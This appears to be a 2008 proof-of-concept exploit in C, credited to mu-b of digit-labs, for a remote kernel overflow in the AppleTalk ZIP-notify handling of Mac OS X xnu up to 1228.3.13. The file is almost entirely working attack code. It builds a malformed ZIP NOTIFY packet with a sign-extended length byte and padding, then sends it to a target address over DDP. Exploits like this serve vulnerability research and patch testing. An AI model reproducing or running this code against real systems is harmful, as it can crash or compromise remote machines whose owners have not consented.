/* xnu-appletalk-zip.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC
* by mu-b - Sun 13 Apr 2008
*
* - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
* Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
*
* Compile: gcc -Wall xnu-appletalk-zip.c /usr/lib/libatalk.a -o xnu-appletalk-zip
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netatalk/endian.h>
#include <netatalk/at.h>
#include <atalk/netddp.h>
#include <atalk/ddp.h>
#include <atalk/zip.h>
#include <atalk/util.h>
int
main (int argc, char **argv)
{
struct sockaddr_at daddr, saddr;
char *p, buf[1024];
int fd, zlen;
printf ("Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
if (argc < 3)
{
fprintf (stderr, "Usage: %s <dst addr> <zone> [src addr]\n", argv[0]);
exit (EXIT_FAILURE);
}
if (!atalk_aton (argv[1], &daddr.sat_addr))
{
fprintf (stderr, "* dst address: atalk_aton failed\n");
exit (EXIT_FAILURE);
}
if (argc > 3)
{
if (!atalk_aton (argv[3], &saddr.sat_addr))
{
fprintf (stderr, "* src address: atalk_aton failed\n");
exit (EXIT_FAILURE);
}
}
daddr.sat_family = AF_APPLETALK;
daddr.sat_port = 6;
if ((fd = netddp_open (argc > 3 ? &saddr
: NULL, NULL)) < 0)
{
fprintf (stderr, "* netddp_open failed\n");
exit (EXIT_FAILURE);
}
printf ("Appletalk dst: %s, ", argv[1]);
if (argc > 3)
printf ("src: %s, ", argv[3]);
printf ("zone: %s... ", argv[2]);
p = buf;
*p++ = DDPTYPE_ZIP;
*p++ = ZIPOP_NOTIFY; /* ZIP NOTIFY */
*p++ = 0x00;
*p++ = 0x00; /* pad */
*p++ = 0x00;
*p++ = 0x00;
*p++ = 0x00;
zlen = strlen (argv[2]);
*p++ = zlen;
memcpy (p, argv[2], zlen);
p += zlen;
*p++ = 0x80; /* >= 0x80 sign extended :(
* < 0x80 not enough to hit anything useful,
* except maybe ifPort...
*/
memset (p, 0x41, 0x80);
p += 0x80;
if (netddp_sendto (fd, buf, p - buf, 0, (struct sockaddr *) &daddr,
sizeof (struct sockaddr_at)) < 0)
{
fprintf (stderr, "* netddp_sendto failed\n");
exit (EXIT_FAILURE);
}
printf ("done\n");
return (EXIT_SUCCESS);
}
